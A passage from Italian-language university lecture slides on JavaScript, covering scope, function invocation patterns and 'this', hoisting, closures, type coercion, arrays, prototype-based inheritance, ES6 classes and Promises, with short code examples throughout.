}
sum.name  /* → "summation"*/

Funzione con nome, sum riferisce la funzione, summation non è un identificatore definito.

Il nome è comunque utile:

  • Debugging
  • Funzioni ricorsive

Function name

function summation(a, b) {
  return a+b;
}
summation.name  /* → "summation"*/

Funzione con nome, summation è definito e riferisce la funzione.

Oggetto (o) funzione?

Le funzioni sono oggetti, cioè collezioni mutabili di proprietà!

var sum = function(a, b) {
  return a+b;
}
sum.p = "ciao";

Scope

Lo scope è l'ambito nel quale sono definiti (visibili) gli identificatori.

Lo scope in JavaScript è il body della funzione.

nonostante la sintassi a blocchi (con le graffe), lo scope non è il blocco!

Scope

Lo scope in JavaScript è il body della funzione.

var maxSumProd = function(a, b) {
  var s = a+b;               /* s is defined */
  var p = a*b;               /* s, p are defined */
  for (var i = 0; i<4; i++) {
    var c = i;               /* s, p, i, c are defined */
  }
  if (s > p) {               /* s, p, i, c are defined */
    return s;
  } else {
    return p;
  }
};

Diverso da Java!

Scope e gerarchia

Gli scope sono gerarchici: nello scope di una funzione sono visibili gli identificatori (tranne this di cui parleremo dopo e arguments) definiti nello scope in cui la funzione è definita.

var fun = function() {
  var a = 1;
  var b = 2;
  var innerFun = function() {
    var c = a+b;
    return c;
  };
  return innerFun();
};

Scope Globale

var definisce una variabile: se omesso, si sottointende lo scope globale

  • var a;a è definito (ma non cambia il riferimento) nello scope "locale"
  • var a = 0;a è definito e riferisce 0 nello scope "locale"
  • a = 0;
    • se a era definito in uno scope "padre", allora ora riferisce 0
    • altrimenti viene definito nello scope globale e riferisce 0

Scope Globale

Attenzione!

var calculateTopTenCosts = function() {
  var sum = 0;
  for(top = 0; top < 10; top++) {
    sum += getRankCosts(top);
  }
  return sum;
};

Scope Globale

Attenzione!

var calculateTopTenCosts = function() {
  var sum = 0;
  for(top = 0; top < 10; top++) {
    sum += getRankCosts(top);
  }
  return sum;
};
  • manca var prima della definizione di top nel ciclo
  • top è una variabile globale (esecuzione in browser): l'oggetto window più elevato
  • il ciclo non viene eseguito (top non è un numero)

Scope di Blocco

var inserisce la variabile nello scope della funzione.

E se ne volessi uno a livello di blocco?

Con EcmaScript 6 si può: let

Invocare una Funzione

Ci sono quattro Function Invocation Patterns:

  1. Method Invocation
  2. Function Invocation
  3. Apply Invocation
  4. Constructor Invocation

Cosa cambia?

  • Oltre ai parametri dichiarati, ogni funzione ne riceve altri due:
    • this
    • arguments
  • this varia in base all'invocation pattern

1. Method invocation

Se e solo se:

  • la funzione è il valore di una proprietà di un oggetto (metodo)
  • viene invocata con la refinement di quell'oggetto (.)
allora:
  • this è l'oggetto in cui è contenuta
  • gli argomenti sono le valutazioni delle espressioni passate tra parentesi se sono di meno, i mancanti sono undefined

1. Method invocation

var o = {
  n: 3,
  sum: function(m) {
    return this.n+m;
  },
  dec: function(m) {
    return n-m;
  }
};

o.sum(2)? → 5

o.dec(1)? → errore! n undefined

var f = o.sum; f(2)? → NaN

var f = o.sum(); f(2)? f is not a function

Method invocation e this

this non è opzionale!

a parità di semantica.

2. Function invocation

Quando la funzione non è la proprietà di un oggetto e viene quindi invocata direttamente:

var sum = add(3, 4); // sum is 7
  • Gli argomenti: come prima.

  • this è l'oggetto globale.
    • Cos'è l'oggetto globale? Dipende dal contesto.
    • In un browser, è l'oggetto Window del DOM
    • Attenzione: non è il this dell'eventuale outer function!

2. Function invocation

Se fosse fatto bene, this sarebbe quello della funzione esterna...

var myObject = {
  value: 1,
  double: function() {
    var helper = function() {
      this.value = this.value * 2;
    };
    helper();
  }
}
console.log(myObject.value); /* → 1 */
myObject.double(); /* Method Invocation */
console.log(myObject.value); /* → ?? */

2. Function invocation

Se fosse fatto bene, this sarebbe quello della funzione esterna...

var myObject = {
  value: 1,
  double: function() {
    var helper = function() {
      this.value = this.value * 2;
      helper(); /*Function Invocation*/
  }
}
console.log(myObject.value); /* → 1*/
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 1*/

2. Function invocation

Workaround

var myObject = {
  value: 1,
  double: function() {
    var that = this; 
    var helper = function() {
      that.value = that.value * 2;
    };
    helper(); /*Function Invocation*/
  }
}
console.log(myObject.value); /* → 1*/
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 2 */

3. Apply invocation

Ogni funzione ha anche un metodo apply: quando invocato, il primo parametro sarà this e il secondo sarà arguments.

var sum = function(a, b) {
  return a+b;
};
sum.apply(undefined, [2, 3]); /* → 5*/

[2, 3] è un array literal, vedremo.

3. Apply invocation

var myObject = {
  value: 1,
  double: function() {
    var helper = function() {
      this.value = this.value * 2;
    };
    helper.apply(this); /*Apply Invocation*/
  }
}
console.log(myObject.value); /* → 1 */
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 2 */ 

4. Constructor invocation (new)

Se una funzione è invocata premettendo la keyword new allora:

  • this è un nuovo oggetto
  • se il valore di ritorno non è un oggetto, viene restituito il valore di this

Il nuovo oggetto ha un link nascosto al valore della proprietà prototype della funzione.

4. Constructor invocation (new)

Assomiglia ad un costruttore, ma si può usare anche a sproposito.

Per convenzione (e per evitare di usarle a sproposito) le funzioni pensate come costruttori hanno il nome che inizia con maiuscola.

4. Constructor invocation

var Dog = function(name, size) {
  this.name = name;
  this.size = size;
  this.sound = "bark";
  this.makeSound = function() {
    return this.sound;
  }
};

var whiteDog = new Dog("Simba", "M");
var brownDog = new Dog("Gass", "M");

4. Constructor invocation

var Dog = function(name, size) {
  this.name = name;
  this.size = size;
  this.sound = "bark";
  this.makeSound = function() {
    return this.sound;
  }
};

var whiteDog = new Dog("Simba", "M");
var brownDog = new Dog("Gass", "M");
  • valore di this dopo la riga 3? Dog {name: "Gass", size: "M"}
  • valore di this dopo la riga 5? Dog {name: "Gass", size: "M", sound: "bark", makeSound: function}

4. Constructor invocation: a sproposito


var Dog = function(name, size) {
  this.name = name;
  this.size = size;
  this.sound = "bark";
  this.makeSound = function() {
    return this.sound;
  }
};

var weirdDog = Dog("Simba", "M");
  • valore di weirdDog? Undefined!

Parametri e arguments

  • arguments è un (quasi) array
    • in realtà è un oggetto con un metodo length...
  • arguments può contenere più parametri di quelli previsti dalla funzione stessa:

    function myConcat(separator) {
      var result = '';
      var i;
      for (i = 1; i < arguments.length; i++) {
        result += arguments[i] + separator;
      }
      return result;
    }
    myConcat(', ', 'red', 'orange', 'blue');
    //→ "red, orange, blue, "

Parametri e arguments

I rispettivi valori sono legati:

var sum = function(a, b) {
  var c = a+b;
  return c;
}

a e arguments[0] hanno sempre lo stesso valore.

Parametri e arguments

var surpriseMe = function (a) {
  console.log(a+" - "+arguments[0]);
  a = 3;
  console.log(a+" - "+arguments[0]);
}

surpriseMe(2)?

Parametri e arguments

var surpriseMe = function (a) {
    console.log(a+" - "+arguments[0]);
    a = 3;
    console.log(a+" - "+arguments[0]);
}

surpriseMe(2)?

2 - 2
3 - 3 

Parametri e arguments

For non-strict mode functions the array index (defined in 15.4) named data properties of an arguments object whose numeric name values are less than the number of formal parameters of the corresponding function object initially share their values with the corresponding argument bindings in the function’s execution context. This means that changing the property changes the corresponding value of the argument binding and vice-versa. This correspondence is broken if such a property is deleted and then redefined or if the property is changed into an accessor property. For strict mode functions, the values of the arguments object’s properties are simply a copy of the arguments passed to the function and there is no dynamic linkage between the property values and the formal parameter values.

Stranezze di Javascript

ma, per fortuna, c'è stackoverflow

Default parameters

Una volta si faceva a mano:

function multiply(a, b) {
  b = typeof b !== 'undefined' ?  b : 1;
  return a * b;
}

...ora si può fare nell'intestazione (ECMAScript 2015)

function multiply(a, b = 1) {
  return a * b;
}

Rest parameter

Aggrega più parametri in un array:

function myConcat(separator, ...values) {
  var result = '';
  var i;
  for (i = 0; i < values.length; i++) {
    result += values[i] + separator;
  }
  return result;
}

myConcat(', ', 'red', 'orange', 'blue');
//→ "red, orange, blue, "

Valore di ritorno

Le funzioni hanno sempre un valore di ritorno.

  • Se il corpo contiene un return statement, allora (constructor invocation a parte) il valore di ritorno è il valore lì specificato.
  • Altrimenti è undefined.

L'esecuzione (ovviamente) termina al raggiungimento del return statement.

return e spazi

La sintassi del return statement è "poco tollerante" agli spazi

var f = function() {
  return
    {word: "ciao"};
}

è equivalente a

var f = function() {
  return undefined;
    {word: "ciao"};
}

...

return e spazi

Non è equivalente a

var f = function() {
  return {word: "ciao"};
}

che, a sua volta, è equivalente a

var f = function() {
  return {
    word: "ciao"
  };
}

Convenzione su scope

Per convenzione: tutti i var statement vanno all'inizio del body:

var fun = function() {
  var a, b, s;
  a = 1;
  b = 2;
  var innerFun = function() {
    var c;
    c = a+b;
    return c;
  }
  s = innerFun();
  return s;
};

Solo una convenzione?

var fun = function() {
  var a = 1;
  var innerFun = function() {
    console.log(a);
  };
  innerFun();
};

fun() /* stampa 1: è cosa buona e giusta*/

Solo una convenzione?

var fun = function() {
  var a = 1;
  var innerFun = function() {
    console.log(a);
    var a = 2;
  };
  innerFun();
};

fun() /* stampa undefined!!!*/

Perché?

Variable Hoisting

Internamente, JavaScript mette tutti i var all'inizio del body:

var fun = function() {
  var a, innerFun;
  a = 1;
  innerFun = function() {
    var a;
    console.log(a);   /* a in scope locale, è undefined */
    a = 2;
  };
  innerFun();
};

fun() /* stampa undefined*/

Perché?

Variable Hoisting

Perché?

Colpa dell'interprete, che compie due passi:

For completeness, let’s mention that actually at the implementation level things are a little more complex. There are two stages of the code handling, where variables, function declarations, and formal parameters are created at the first stage, which is the stage of parsing and entering the context. In the second stage, the stage of runtime code execution, function expressions and unqualified identifiers (undeclared variables) are created. But for practical purposes, we can adopt the concept of hoisting, which is actually not defined by ECMAScript standard but is commonly used to describe the behavior.

In realtà le specifiche non dicono nulla!

Attenzione: non si applica alle variabili definite con let

Function Hoisting

Si applica anche alle funzioni, se definite direttamente:

function esempioOK() {
  console.log(foo); /* → codice della funzione */
  foo(); /* → "bar" */
  function foo() {
    console.log('bar');
  };
};

Function Hoisting

Si applica anche alle funzioni, se definite direttamente:

function esempioNonOK() {
  console.log(foo); /* → undefined */
  foo(); /* → TypeError: foo is not a function */
  var foo = function() {
    console.log('bar2');
  };
}

Perché?

  1. Viene fatto l'hoisting della variabile foo
  2. La variabile riceve un valore solo nella riga 4

Closure

Come facciamo a esporre delle funzionalità ma non le variabili interne?

Prendiamo un contatore:

var counter = 0;
function add() {
  counter += 1;
}
add();
add();
add();
  • Funziona? Sì
  • Il Contatore viene incrementato? Sì
  • Problema: chi può richiamare add() può modificare counter

Closure

E se mettessi la variabile nella funzione?

var counter = 0;
function add() {
  var counter;
  counter += 1;
}
add();
add();
add();
  • Funziona? No, alla fine counter vale 0.
  • Incrementiamo una variabile interna, ma mostriamo quella globale.

Closure

E se togliessi la variabile globale, ritornando il valore?

function add() {
  var counter;
  counter += 1;
  return counter;
}
add();
add();
add();
  • Funziona? No, alla fine counter vale 1.
  • La variabile viene ridefinita ad ogni chiamata.

Closure

Proviamo ad annidiare le funzioni:

function add() {
  var counter = 0;
  function plus() {counter += 1;}
  plus();
  return counter;
}
  • In JavaScript, tutte le funzioni hanno accesso allo scope che le contiene.
  • La funzione plus ha accesso allo scopo di ciò che la contiene, quindi anche a counter.
  • Problema: come faccio ad invocare plus()?

Closure: soluzione

Funzione che si auto-invoca:

var add = (function () {
  var counter = 0;
  return function () {
    counter += 1;
    return counter;
  }
})();
add(); /* 1 */
add(); /* 2 */
add(); /* 3 */
  • Funziona? Sì, l'invocazione alla fine ritorna 3
  • Posso accedere a counter? No
  • Ma come ho fatto??

Closure: soluzione

var add = (function () {
  var counter = 0;
  return function () {
    counter += 1;
    return counter;
  }
})();
add(); add(); add();
  • add contiene il risultato di una funzione che si auto-invoca
  • la funzione che si auto-invoca viene eseguita una volta sola: imposta il contatore, ritorna una funzione e viene cestinata
  • add è una funzione → ha accesso allo scope che la contiene → ha accesso a counter, che esiste ancora
  • nessun altro ha accesso a counter

Closure

Si possono generare anche closure più evolute:

var counter = function() {
  var n;
  n = 0;
  return {
    inc: function() {
      n = n+1;
      return n;
    }
  };
}();
counter.inc();
  • la funzione riferita da inc è una closure
  • n è una enclosed variable

Operatori + e tipi

Alcuni operatori si applicano anche a tipi inattesi: è opportuno sapere come vanno le cose per evitare sorprese.

Operatore +:

  • se entrambi gli operandi sono di tipo number, somma i valori
  • se entrambi gli operandi sono stringhe, le concatena
  • altrimenti, abbiamo già visto: per esempio, cerca di convertire in stringhe e concatenare gli operandi

spesso fonte di spiacevoli inconvenienti quando si legge un numero dal DOM

Truthy and Falsy

Ogni valore in JS ha anche un valore booleano implicito:

Falsy
  • false
  • 0 (attenzione: non "0"!)
  • '' o "" (stringa vuota)
  • null
  • undefined
  • NaN (tecnicamente: è valore di tipo number)
  • document.all (ringraziamo Microsoft per questo)
Truthy
...in tutti gli altri casi

Truthy and Falsy

Possiamo usare una funzione per testare:

function truthyOrFalsy(a) {
    return a ? "truthy" : "falsy";
}
  • truthyOrFalsy(0) → falsy
  • truthyOrFalsy(10 == 5) → falsy
  • truthyOrFalsy(1) → truthy
  • truthyOrFalsy(-1) → truthy
  • truthyOrFalsy({}) → truthy

Mentiroso...

Ci sono dei valori truthy che sono == false

  • "0" è truthy (stringa non vuota), ma "0" == false:
    1. == → converte la stringa in numero
    2. 0 == false
    3. "0" == 0
    4. "0" == false
  • Non è un caso isolato...

== vs ===

Operatore ===:

  • true, se gli operandi hanno uguale tipo e valore
  • false, altrimenti

Operatore ==: tenta la conversione

false == undefined /* false */
false == null /* false */
null == undefined /* true */

Addio transitività dell'uguaglianza: meglio === che == !

Array

Un array è un oggetto che:

  • ha un costrutto literal caratteristico
  • ha dei metodi predefiniti

Array

Gli array sono oggetti

var a = [2, 3, "pippo"];
var a = new Array(2, 3, "pippo"); /* → alternativo */
a[0];     /* → 2 */
a[2];     /* → "pippo" */
a["2"];   /* → "pippo" */
a.length; /* → 3 */
a[3];     /* → undefined */

a.propertyAggiunta = "sono un oggetto";
a.length; /* → 3*/

Altri metodi interessanti:

  • slice() → ne copia una fetta,
  • splice() → rimuovere (e sostituire) elementi,
  • ...

Array: Length

length ≠ upper bound → posso superarlo!

var myArray = [];
myArray.length;     /*  → 0*/
myArray[10000] = "pippo";
myArray.length;     /*  → 10001*/

Aggiungere elementi:

numbers[numbers.length] = 'shi';  /*oppure...*/
numbers.push('go');

Array: rimuovere elementi

Assegnando un valore più piccolo a length, gli elementi in coda vengono eliminati.

Posso togliere un elemento qualsiasi, ma si lascia un buco:

var a = [2, 3, 79];
a.length;     /* → 3 */
delete a[1];
a.length;     /* → 3 */

typeof(a[1]);    /* → "undefined" */

...meglio usare il metodo splice

Array: riconoscerli

typeof (array) → "object"

Scriviamo una nostra funzione:

var is_array = function (value) {
  return value &&
    typeof value === 'object' &&
    typeof value.length === 'number' &&
    typeof value.splice === 'function' &&
    !(value.propertyIsEnumerable('length'));
};
  • è truthy? not {false, null, undefined, "", 0, NaN}
  • è un oggetto?
  • ha una proprietà length di tipo numerico?
  • ha una funzione splice?
  • length apparirebbe in un for ... in?

Array: ordinarli

Attenzione...

[5, 12, 9, 2, 18, 1, 25].sort(); → [1, 12, 18, 2, 25, 5, 9]

Il comportamento standard è di ordinare alfabeticamente!

Dobbiamo specificare una funzione di sorting:

[5, 12, 9, 2, 18, 1, 25].sort(function(a, b){
    return a - b;
});

Array: iterazione

Attenzione...

var a = [2, 3, 79];
for (var name in a){
  console.log(name)
};
/*output: 0, 1, 2*/

Sto iterando le properties dell'oggetto, comprese quelle aggiunte da me (o da altri framework)!

Array: iterazione

Devo procedere alla vecchia:

var a = [2, 3, 79];
for (var i = 0; i < a.length; i += 1) {
  console.log(a[i]);
}
/*output: 2, 3, 79*/

Oppure usando il metodo forEach:

a.forEach(function(valore){
  console.log(valore);
});
/*output: 2, 3, 79*/

Memoization

A volte devo riusare calcoli già fatti...

var fibonacci = function (n) {
  if (n < 2){
    return n
  } else {
    return fibonacci(n - 1) + fibonacci(n - 2);
  }
};

for (var i = 0; i <= 10; i += 1) {
  console.log('// ' + i + ': ' + fibonacci(i));
}

Inefficiente: funzione richiamata 453 volte

Memoization

Sfrutto la closure per memorizzare i risultati di una precedente elaborazione:

var fibonacci = (function() {
  var memo = [0, 1];
  var fib = function (n) {
    var result = memo[n];
    if (typeof result !== 'number') {
      result = fib(n - 1) + fib(n - 2);
      memo[n] = result;
    }
    return result;
  };
  return fib;
})();

Bene! fibonacci richiamata solo 18 volte

Ereditarietà Class-Based

Tradizionalmente (Java, C++, C#) ci sono due entità: classi e istanze.

  • Classe: definisce le proprietà ed i metodi dell'oggetto che descrive, ma non ne rappresenta mai uno. Es: Docente
  • Istanza: materializzazione di una classe. Es: Alberto Bartoli, Eric Medvet, Andrea De Lorenzo

Inoltre:

  • definisco separatamente le proprietà ed il costruttore;
  • gerarchia definita con il subclassing di una classe esistente;
  • casting esplicito non richiesto (polimorfismo).

Ereditarietà Prototype-based

JavaScript è loosely-typed: ogni oggetto deriva da un altro oggetto da cui eredita le proprietà, detto prototype.

Come si realizza?

  • Ogni funzione Costruttore ha una property prototype contenente l'oggetto da usare come prototipo nella Constructor invocation

    in realtà è presente in ogni funzione; una funzione diventa Costruttore quando invocata con new

  • Il nuovo oggetto ha un link nascosto al valore della proprietà prototype della funzione Costruttore: __proto__

Delegation

  • Accesso in aggiunta/modifica/rimozione di proprietà, usando il link nascosto
  • Accesso in lettura:
    • se la proprietà esiste nell'oggetto, restituisce il valore
    • altrimenti, se esiste nel prototype, restituisce il valore
    • altrimenti, se esiste nel prototype del prototype, ...
    • ...
    • altrimenti, undefined
  • Accesso in scrittura:
    • crea una nuova property nell'oggetto finale → il prototipo non viene modificato.

Esempio Ereditarietà Prototype-based

public class Employee {
   public String name;
   public String dept;
   public Employee () {
      this("", "general");
   }
   public Employee (String name) {
      this(name, "general");
   }
   public Employee (String name, String dept) {
      this.name = name;
      this.dept = dept;
   }
}
function Employee(name="", dept="general") {
  this.name = name;
  this.dept = dept;
}

Esempio Ereditarietà Prototype-based

public class Engineer extends Employee {
  public String machine;
  public Engineer () {
    this("");
  }
  public Engineer (String mach) {
    dept = "engineering";
    machine = mach;
  }
}
function Engineer(mach = "") {
  this.dept = 'engineering';
  this.machine = mach;
}
Engineer.prototype = new Employee;

Esempio Ereditarietà Prototype-based

function Employee(name="", dept="general") {
  this.name = name;
  this.dept = dept;
}
function Engineer(mach = "") {
  this.dept = 'engineering';
  this.machine = mach;
}
Engineer.prototype = new Employee;
var luca = new Engineer("computer");

Quanto valgono:

  • luca.machine → "computer"
  • luca.dept → "engineering"
  • luca.name → ""

Dynamic Inheritance

Il prototipo di un oggetto è un oggetto, se

  • aggiungo
  • modifico
  • rimuovo

una proprietà (d)al prototipo, ciò influisce su tutti gli oggetti che hanno quel prototipo (tramite delegation)

...
Engineer.prototype = new Employee;
var luca = new Engineer("computer");
Employee.prototype.salary = 100;
luca.salary; /* → 100*/

La funzione creante

  • Creare un oggetto come literal è equivalente a crearlo con constructor invocation di Object
  • Creare una funzione come literal è equivalente a crearla con constructor invocation di Function

La funzione creante: oggetti

Creare un oggetto come literal è equivalente a crearlo con constructor invocation di Object

var o = new Object();

è equivalente a

var o = {};

e l'oggetto può essere riempito dopo.

Object.prototype è l'oggetto prototipo da cui entrambi derivano.

La creazione come literal è raccomandata

La funzione creante: oggetti

Per esempio, posso aggiungere proprietà read-only:

var o = new Object();
Object.defineProperty(o, "prop", {
    value: "test",
    writable: false
});

o.prop; /* → "test"*/
o.prop = "Ciao";
o.prop; /* → "test"*/

La funzione creante: funzioni

Creare una funzione come literal è equivalente a crearla con constructor invocation di Function

var f = new Function();

è equivalente a

var f = function(){};

ma la funzione non può essere riempita dopo (nel suo body).

Function.prototype è l'oggetto da cui entrambi derivano (il prototype).

La creazione come literal è necessaria

Inheritance dinamica

var sum = function(a, b) {
  return a+b;
};
sum.creator;  /* → undefined*/

Function.prototype.creator = "Eric Medvet";

sum.creator;  /* → Eric Medvet (delegation)*/
var prod = function(a, b) {
  return a*b;
}

prod.creator; /* → Eric Medvet (delegation)*/
prod.creator = "Simba";
prod.creator; /* → Simba (no delegation)*/
sum.creator;  /* → Eric Medvet*/

Impostare il prototipo

Object.create = function(o) {
  var F = function () {};
  F.prototype = o;
  return new F();
};

var dog = {sound: "bark"};
var coloredDog = Object.create(dog);
coloredDog.sound; /* → bark*/

Impostare il prototipo

Object.create = function(o) {
  var F = function () {};
  F.prototype = o;
  return new F();
};
  1. crea una nuova funzione e la aggiunge come proprietà a Object
  2. quando create è invocata con argomento o
    1. crea una nuova funzione F vuota
    2. ne setta il prototype a o
    3. restituisce il risultato di new F() (un nuovo oggetto con link nascosto alla proprietà prototype della funzione creante, cioè o)

Augmenting

Object.create = function(o) {
  ...
};
  1. crea una nuova funzione e la aggiunge come proprietà a Object

Augmenting di un tipo base (Object)

Si può fare anche con stringhe, numeri, ecc...

String.reverse = function() {
  ...
};

non abusatene

Monkey patching

Aggiungere funzionalità nuove alla libreria di sistema estendendola

Es: vogliamo aggiungere una funzione a String che renda maiuscola la prima lettera

String.prototype.capitalize = function() {
  return this[0].toUpperCase() + this.substr(1);
}
const capitalName = 'jacob'.capitalize(); /* → "Jacob" */

Monkey patching

Sarebbe da evitare!

In caso ci fossero altre librerie che fanno la stessa cosa, cosa succederebbe?

In passato il problema si è già verificato: smooshgate

Libreria MooTools, molto usata, aveva aggiunto la funzione flatten

Array.prototype.flatten = function(){...}

... ma nel 2019 è stato introdotto flatten in ECMAScript!

Inheritance dinamica e primitivi

Object.prototype.version = "7.2.11";
"uh".version; /* → 7.2.11*/

Perché? "uh" non è un primitivo String?

Primitives Coercion

typeof true; /*"boolean"*/
typeof Boolean(true); /*"boolean"*/
typeof new Boolean(true); /*"object"*/
typeof (new Boolean(true)).valueOf(); /*"boolean"*/

typeof "abc"; /*"string"*/
typeof String("abc"); /*"string"*/
typeof new String("abc"); /*"object"*/
typeof (new String("abc")).valueOf(); /*"string"*/

typeof 123; /*"number"*/
typeof Number(123); /*"number"*/
typeof new Number(123); /*"object"*/
typeof (new Number(123)).valueOf(); /*"number"*/

Per eseguire "uh".version viene generata un nuovo oggetto String (wrapper), usato solo per invocare la property e poi abbandonato al Garbage Collector.

Primitives Coercion

Ma quindi posso aggiungere proprietà ai primitivi?

var primitive = "september";
primitive.vowels = 3;
primitive.vowels; /* → ??*/

Primitives Coercion

Ma quindi posso aggiungere proprietà ai primitivi? NO!

var primitive = "september";
primitive.vowels = 3; /* → crea un nuovo wrapper:*/
(new String("september")).vowels = 3;
primitive.vowels;     /*→ creo un wrapper per
                        leggere la property:*/
(new String("september")).vowels; /* → undefined*/

Primitives Un-Wrapping

I wrapper tornano facilmente al tipo primitivo:

var Twelve = new Number(12);
var fifteen = Twelve + 3;
fifteen; /*15*/
typeof fifteen; /*"number" (primitive)*/
typeof Twelve; /*"object"; (still object)*/

Ma è pur sempre JavaScript:

if (new Boolean(false)) {
  console.log("true");
} else{
  console.log("false");
}

Output?

Primitives Un-Wrapping

I wrapper tornano facilmente al tipo primitivo:

var Twelve = new Number(12);
var fifteen = Twelve + 3;
fifteen; /*15*/
typeof fifteen; /*"number" (primitive)*/
typeof Twelve; /*"object" (still object)*/

Ma è pur sempre JavaScript:

if (new Boolean(false)) {
  console.log("true");
} else{
  console.log("false");
}

Output? → "true", perché gli oggetti sono truthy.

Per i booleani, usare il valore: new Boolean(false).valueOf();

Esercizio JS-WordCounter

Creare una funzione JavaScript wordCounter che restituisce una "mappa" <parola, frequenza> calcolata dalla stringa ricevuta in input.

wordCounter("la mamma di mio figlio è anche mamma di mia figlia"); /* → <"mamma", 2/11>, <"figlio", 1/11>, ...*/

vedere String.split()

E se ci fossero segni di punteggiatura? Vedere espressioni regolari e literal corrispondente.

Esercizio JS-Infinite function

Creare una funzione JavaScript tale per cui.


var f = ...;
f(1)                  /* → 1*/
f()(3)                /* → 3*/
f()()()()("a")        /* → "a"*/
f()...()("x")         /* → "x"*/

var g = f;
f = 33;
g()()()()(f)          /* → 33*/

ECMAScript 2015

a.k.a. ES6

Qualche dettaglio di ES6

Alcune cose le abbiamo già viste:

  • const, da usarsi come predefinito
  • let, da usarsi se il valore può cambiare
  • valore predefinito parametri function a(par1 = 1){...

Concatenazione

Old style:

var nome = "Luca";
console.log("Ciao " + nome + ", come va?");

ES6: backtick!

var nome = "Luca";
console.log(`Ciao ${nome}, come va?`)

Proprietà implicite

Old style:

function creaProdotto(prezzo, quantita){
    return {
        prezzo: prezzo,
        quantita: quantita
    };
};

ES6: posso omettere i nomi

function creaProdotto(prezzo, quantita){
    return {
        prezzo,
        quantita
    };
};

Object Deconstruction

Old style:

var prodotto = {
    descr: "computer",
    prezzo: 10
};
var prezzo = prodotto.prezzo;
var descr = prodotto.descr;

ES6: {}

const prodotto = {
    descr: "computer",
    prezzo: 10
};
const {prezzo, descr} = prodotto;

Arrow Functions

Funzioni anonime con alcuni vantaggi:

  • scrittura più compatta
  • non crea un proprio this

Old style:

var x = function(parametri){...}

ES6: =>

const x = (parametri) => {...}
  • () sono opzionali se ho un solo parametro (non se ne ho 0 o più)
  • Se esegue un solo statement, {} opzionali (return implicito)

Classi

Sappiamo usare la constructor invocation...

function Persona(nome, anni){
  this.nome = nome;
  this.anni = anni;
};

var luca = new Persona("Luca", 21);

...e anche come funziona l'ereditarietà (scomoda)

Classi

Soluzione ES6: class

class XYZ{
  constructor(par1, ...){
    this.par1 = par1;
  }
}

Attenzione:

  • in realtà è una funzione con un costrutto literal particolare
  • NON subisce l'hoisting

Sintassi alternative:

var XYZ = class {...}
var XYZ = class XYZ{...}

Classi

Costruttore

→ metodo speciale valido solo in class che crea una istanza della classe

  • un costruttore non può essere getter, setter, async
  • una classe può avere solo un costruttore!

Classi

Ereditarietà

class X extends Y{
  constructor(par1, par2, ...){
    super(par1);
    ...
  }
}

Voilà!!

Classi

Ereditarietà

Posso estendere qualsiasi funzione sia un costruttore e abbia la proprietà prototype

function AllaVecchia() {
  this.someProperty = 1;
}
AllaVecchia.prototype.someMethod = function () {};

class Moderno extends AllaVecchia {}

class Moderna {
  someProperty = 1;
  someMethod() {}
}

class AltraClasse extends Moderna {}

Classi

Public fields

class ClasseConCampi {
  instanceField;
  instanceFieldWithInitializer = "instance field";
  static staticField;
  static staticFieldWithInitializer = "static field";

  constructor(instanceField) {
    this.instanceField = instanceField;
  }
}

Classi

Private fields

Vengono dichiarati usando il prefisso #

class ClasseConCampiPrivati {
  #privateField;
  #privateFieldWithInitializer = 42;

  #privateMethod() { }

  static #privateStaticField;
  static #privateStaticFieldWithInitializer = 42;

  constructor(x) {
    this.#privateField = x;
  }
}

Promise

Premessa: setTimeout(), setInterval()

  • Prendono due parametri, code e delay (opzionale)
  • Eseguono code dopo delay millisecondi (0 se non specificato)
    • setInterval() ripete l'operazione

Promise

Premessa: operazioni asincrone

setTimeout(function(){
  console.log("Delayed for 5 seconds.");
}, 5000);
console.log("Hello!");
  • setTimeout() è asincrona
  • Stampa prima "Hello!" e poi, dopo 5 secondi, "Delayed for 5 seconds."

Promise

...ovvero, gestire operazioni asincrone.

"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."

Prima: design pattern che risolva il problema

function inviaMessaggio(msg, callback){
    function doAsync{ /*operazione asincrona*/
      boolean success = contactServerAndSendData(msg);
      callback(success);
    };
    doAsync();
}

inviaMessaggio("Pippo", function(risultato){
  console.log(risultato);
});

Promise

...ovvero, gestire operazioni asincrone.

"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."

Prima: design pattern che risolva il problema

ES6: Promise, oggetto preconfezionato che rappresenta il completamento (o fallimento) di una operazione asincrona.

var promiseObj = new Promise( tetherFunction );

TetherFunction: funzione eseguita dal costruttore con due parametri

  • resolutionFunc → funzione da eseguire se va tutto bene
  • rejectFunc → funzione da eseguire se ci sono errori

Questa funzione esegue l'operazione asincrona.

Promise

...ovvero, gestire operazioni asincrone.

"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."

Prima: design pattern che risolva il problema

ES6: Promise, oggetto preconfezionato che rappresenta il completamento (o fallimento) di una operazione asincrona.

var promiseObj = new Promise( tetherFunction );
promiseObj.then(
  /*funzione eseguita se tutto ok*/
).catch(
  /*funzione eseguita se errore*/
);

Promise

  • Esecutore: una funzione che fa delle operazioni che richiedono del tempo
  • Consumatore: una funzione che necessita del risultato del produttore

Promise: esecutore

L'esecuotre (tetherFunction) prende due parametri, due callback chiamate in caso di successo o fallimento dell'operazione

  • resolve(value) se la funzione termina correttamente, con risultato value
  • reject(error) se si verifica un errore dove error è l'errore
let promise = new Promise(function(resolve, reject) {
  /* esecutore: operazione che impiegherà del tempo */
  resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});

Promise: consumatore

L'esecutore non viene eseguito finchè non lo invoco esplicitamente. Per farlo devo usare un consumatore.

  • then(): prende due parametri, due funzioni da eseguire se la promise ha successo oppure no
  • catch(): prende un parametro, una funzione da eseguire per catturare gli errori
let promise = new Promise(function(resolve, reject) {
  /* esecutore: operazione che impiegherà del tempo */
  resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});

promise.then(
  function(result){ console.log(result) },
  function(error){ console.log(error) }/* opzionale */
);

Promise: consumatore

Possiamo riscrivere tutto con le arrow function

let promise = new Promise((resolve, reject) => {
  /* esecutore: operazione che impiegherà del tempo */
  resolve("Fatto!"); /* termina e restituisce "Fatto!" */
});

promise.then(
  result => console.log(result),
  error => console.log(error) /* opzionale */
);

Promise: asincrone

let promise = new Promise(function(resolve, reject) {
  setTimeout(() => resolve("Fatto!"), 2000)
});

promise.then(result => console.log(result));
console.log("Ciao");

Stampa prima "Ciao" e poi "Fatto"

Promise: concatenare

function setTimeoutPromise(delay) {
  return new Promise((resolve, reject) => {
